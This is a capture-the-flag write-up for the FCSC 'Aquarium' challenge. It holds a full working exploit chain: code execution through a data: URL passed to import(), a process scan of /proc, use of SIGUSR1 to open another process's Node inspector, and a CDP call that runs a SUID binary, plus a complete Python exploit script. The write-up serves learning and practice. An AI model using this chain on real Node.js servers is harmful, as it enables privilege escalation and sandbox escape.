FCSC 2026 โ Aquarium
Node.js --permissions model bypass.
FCSC โ Aquarium Write-up
Description
An Express application (Node.js 24) serving an aquarium with three endpoints:
POST /language: loads a translation module viaimport()GET /message: reads/tmp/message.txtGET /: static page
A SUID binary /getflag reads /root/flag.txt (mode 400, owned by root).
First code review
Opening the source, the /language endpoint immediately stands out:
app.post("/language", async (req, res) => {
const requested = req.body?.lang || "fr";
try {
res.json(await import(requested + "/index.js"));
} catch {
res.json(await import("fr/index.js"));
}
});
requested comes directly from the JSON body with no server-side validation. There is a check in app.js on the client side (SUPPORTED_LANGS.includes(lang)), but that's cosmetic security โ any direct HTTP request bypasses it.
The real point of interest: Node.js import() accepts data:text/javascript,... URLs. This means we can make it execute arbitrary JavaScript by passing a data URL as the lang value. By ending the payload with //, we neutralise the /index.js the server appends โ turning it into a comment:
data:text/javascript,export default 42// + /index.js
โ data:text/javascript,export default 42///index.js
โ Effective JS: export default 42 (the rest is commented out)
Proof of concept:
curl -s -X POST "http://localhost:8000/language" -H "Content-type: application/json" -d '{"lang":"data:text/javascript,export default 42//"}'
Response: {"default":42}
We have arbitrary code execution in the server process. Next logical step: read /root/flag.txt or execute /getflag.
The wall โ Node.js Permission Model
This is where things get complicated. After MANY attempts โ trying to call /getflag directly via execSync, attempting to write to /tmp, trying child_process.spawn โ everything fails with ERR_ACCESS_DENIED.
Looking at how the server is launched in supervisord.conf:
node --permission --allow-fs-read=/ /usr/app/server.mjs
The --permission flag enables the Node.js Permission Model, which blocks everything not explicitly allowed:
--allow-fs-writeabsent โ file writes blocked--allow-child-processabsent โexecSync,spawnblocked
On top of that, docker-compose.yml mounts the container as read_only: true, with only /fcsc/ as a tmpfs (mode 311, not writable for ctf). Writing anywhere on the filesystem is impossible.
What remains allowed from the injected process:
fs.readFileSync(path)โ reading files accessible toctfprocess.kill(pid, signal)โ sending signals (not covered by the Permission Model)- Network requests (
node:http,WebSocket) โ networking is not covered either
But /root/flag.txt is mode 400 (root-only): directly inaccessible from a ctf process, even with FS-read allowed.
I realised I had missed something in supervisord.conf.
The key โ A second unrestricted process
Re-reading supervisord.conf more carefully:
[program:app]
command=node --permission --allow-fs-read=/ /usr/app/server.mjs
user=ctf
[program:bot]
command=/bin/sh /home/ctf/run.sh
user=ctf
# โ no --permission here
The bot runs messages.js in a loop with no restrictions at all:
while true; do
node /home/ctf/messages.js;
done
This process runs under the same ctf user, but without the Permission Model. It can execute child processes, and crucially call /getflag which is SUID root.
The problem becomes: how do we get this process to execute arbitrary code from the restricted server process?
The pivot โ SIGUSR1 and the Node.js Inspector
At this point, I understand we need to pivot from the restricted process to the unrestricted one. Browsing the Node.js documentation, I come across the debugger: Node.js exposes a WebSocket connection interface (Chrome DevTools Protocol) that allows evaluating code in the context of the target process.
One thing left to determine: how to trigger the inspector on the bot?
The answer is in the official docs:
"SIGUSR1 is reserved by Node.js to start the debugger."
Node.js installs a SIGUSR1 handler by default on every process, since v6. Sending this signal enables the inspector on 127.0.0.1:9229 with no options needed at launch.
And process.kill(pid, 'SIGUSR1') from the server process? Allowed by the OS (same ctf user), and not covered by the Permission Model. That's the missing link.
Exploitation
Step 1 โ Find the bot PID
Reading /proc is allowed by --allow-fs-read=/. We scan cmdlines to find messages.js:
const fs = await import('node:fs');
let pid = null;
for (const p of fs.readdirSync('/proc')) {
if (!+p) continue;
try {
if (fs.readFileSync(`/proc/${p}/cmdline`, 'utf8').includes('messages.js')) {
pid = +p; break;
}
} catch(e) {}
}
Step 2 โ Enable the bot's inspector
process.kill(pid, 'SIGUSR1');
await new Promise(r => setTimeout(r, 800)); // give the inspector time to start
Step 3 โ Retrieve the inspector WebSocket URL
The inspector exposes an HTTP API on port 9229 listing available sessions:
const http = await import('node:http');
const json = await new Promise((res, rej) => {
http.get('http://127.0.0.1:9229/json', r => {
let d = '';
r.on('data', c => d += c);
r.on('end', () => res(JSON.parse(d)));
}).on('error', rej);
});
const wsUrl = json[0].webSocketDebuggerUrl;
Step 4 โ Execute /getflag via CDP Runtime.evaluate
We connect via WebSocket and send a Runtime.evaluate command in the bot's context (which runs without --permission).
One trap here: import() from the CDP context fails with "A dynamic import callback was not specified". We need process.mainModule.require which gives access to CommonJS require from this context.
Another practical constraint: nested quotes in the JSON payload are a nightmare. Clean solution โ encode strings with String.fromCharCode:
'child_process'โString.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)'/getflag'โString.fromCharCode(47,103,101,116,102,108,97,103)
const expr = `process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(47,103,101,116,102,108,97,103)).toString()`;
const flag = await new Promise((res, rej) => {
const ws = new WebSocket(wsUrl);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: expr }
}));
ws.onmessage = e => {
const r = JSON.parse(e.data);
res(r?.result?.result?.value ?? JSON.stringify(r));
ws.close();
};
ws.onerror = e => res('ws_err:' + String(e));
setTimeout(() => res('timeout'), 5000);
});
Last thing: for the result to come back in the server's HTTP response, the injected module must export the flag. The data: URL is treated as an ESM module โ we use top-level await and export default:
export default flag;
Without this, import() returns an empty object {} and the response is empty.
Final exploit
import requests
from urllib.parse import quote
import json
url = "http://127.0.0.1:8000"
java = """
const fs = await import('node:fs');
const http = await import('node:http');
let pid = null;
for (const p of fs.readdirSync('/proc')) {
if (!+p) continue;
try {
if (fs.readFileSync(`/proc/${p}/cmdline`, 'utf8').includes('messages.js')) {
pid = +p;
break;
}
} catch(e) {}
}
process.kill(pid, 'SIGUSR1');
await new Promise(r => setTimeout(r, 800));
const json = await new Promise((res, rej) => {
http.get('http://127.0.0.1:9229/json', r => {
let d = '';
r.on('data', c => d += c);
r.on('end', () => res(JSON.parse(d)));
}).on('error', rej);
});
const wsUrl = json[0].webSocketDebuggerUrl;
const expr = `process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(47,103,101,116,102,108,97,103)).toString()`;
const flag = await new Promise((res, rej) => {
const ws = new WebSocket(wsUrl);
ws.onopen = () => ws.send(JSON.stringify({id:1, method:'Runtime.evaluate', params:{expression:expr}}));
ws.onmessage = e => { const r = JSON.parse(e.data); res(r?.result?.result?.value ?? JSON.stringify(r)); ws.close(); };
ws.onerror = e => res('ws_err:' + String(e));
setTimeout(() => res('timeout'), 5000);
});
export default flag;
"""
payload = f"data:text/javascript,{quote(java)}//"
r = requests.post(
f"{url}/language",
headers={"Content-Type": "application/json"},
data=json.dumps({"lang": payload}),
)
print(r.json())
Exploitation chain summary
POST /language
โโ import("data:text/javascript,...//") โ ESM injection (client-side validation bypassed)
โโ fs.readFileSync('/proc/*/cmdline') โ finds bot PID (FS-read permission allowed)
โโ process.kill(pid, 'SIGUSR1') โ enables inspector (built-in Node.js, outside Permission Model)
โโ http.get('127.0.0.1:9229/json') โ retrieves CDP WebSocket URL
โโ WebSocket CDP Runtime.evaluate โ executes in bot context (no --permission)
โโ process.mainModule.require('child_process')
.execSync('/getflag') โ SUID root binary โ reads /root/flag.txt
โโ FCSC{...} โ returned via export default in JSON response